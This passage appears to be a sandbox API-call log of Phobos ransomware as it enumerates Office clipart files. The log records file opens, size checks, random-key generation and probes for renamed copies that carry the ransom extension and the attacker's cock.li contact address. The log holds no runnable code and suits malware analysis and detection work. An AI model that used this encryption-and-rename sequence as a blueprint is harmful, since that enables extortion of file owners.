lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.893] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2564) returned 1 [0152.894] CloseHandle (hObject=0x580) returned 1 [0152.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf")) returned 0x220 [0152.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.894] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.894] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.896] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=28912) returned 1 [0152.896] CloseHandle (hObject=0x580) returned 1 [0152.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf")) returned 0x220 [0152.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.896] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.897] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5806) returned 1 [0152.897] CloseHandle (hObject=0x580) returned 1 [0152.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf")) returned 0x220 [0152.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.897] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.898] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.900] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18226) returned 1 [0152.900] CloseHandle (hObject=0x580) returned 1 [0152.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01356_.wmf")) returned 0x220 [0152.900] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01356_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01356_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.900] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.900] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.901] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=27638) returned 1 [0152.901] CloseHandle (hObject=0x580) returned 1 [0152.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf")) returned 0x220 [0152.902] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.902] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.904] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3438) returned 1 [0152.904] CloseHandle (hObject=0x580) returned 1 [0152.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf")) returned 0x220 [0152.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01358_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01358_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.905] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.906] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7028) returned 1 [0152.906] CloseHandle (hObject=0x580) returned 1 [0152.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf")) returned 0x220 [0152.907] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.907] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.907] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.908] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=263186) returned 1 [0152.908] CloseHandle (hObject=0x580) returned 1 [0152.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01368_.wmf")) returned 0x220 [0152.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01368_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01368_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.908] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.909] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=176494) returned 1 [0152.910] CloseHandle (hObject=0x580) returned 1 [0152.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf")) returned 0x220 [0152.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.910] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.912] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20098) returned 1 [0152.912] CloseHandle (hObject=0x580) returned 1 [0152.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf")) returned 0x220 [0152.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.913] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.914] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19162) returned 1 [0152.914] CloseHandle (hObject=0x580) returned 1 [0152.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf")) returned 0x220 [0152.914] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.914] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.914] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.917] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8232) returned 1 [0152.917] CloseHandle (hObject=0x580) returned 1 [0152.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf")) returned 0x220 [0152.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01472_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01472_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.918] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.918] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10414) returned 1 [0152.918] CloseHandle (hObject=0x580) returned 1 [0152.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01473_.wmf")) returned 0x220 [0152.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01473_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01473_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01473_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01473_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.919] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.919] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13468) returned 1 [0152.919] CloseHandle (hObject=0x580) returned 1 [0152.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf")) returned 0x220 [0152.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01474_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01474_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.920] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.922] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3296) returned 1 [0152.922] CloseHandle (hObject=0x580) returned 1 [0152.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf")) returned 0x220 [0152.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01627_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01627_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.922] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.924] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2974) returned 1 [0152.924] CloseHandle (hObject=0x580) returned 1 [0152.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf")) returned 0x220 [0152.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.924] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.925] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3208) returned 1 [0152.925] CloseHandle (hObject=0x580) returned 1 [0152.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01682_.wmf")) returned 0x220 [0152.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01682_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01682_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.925] CreateFileW 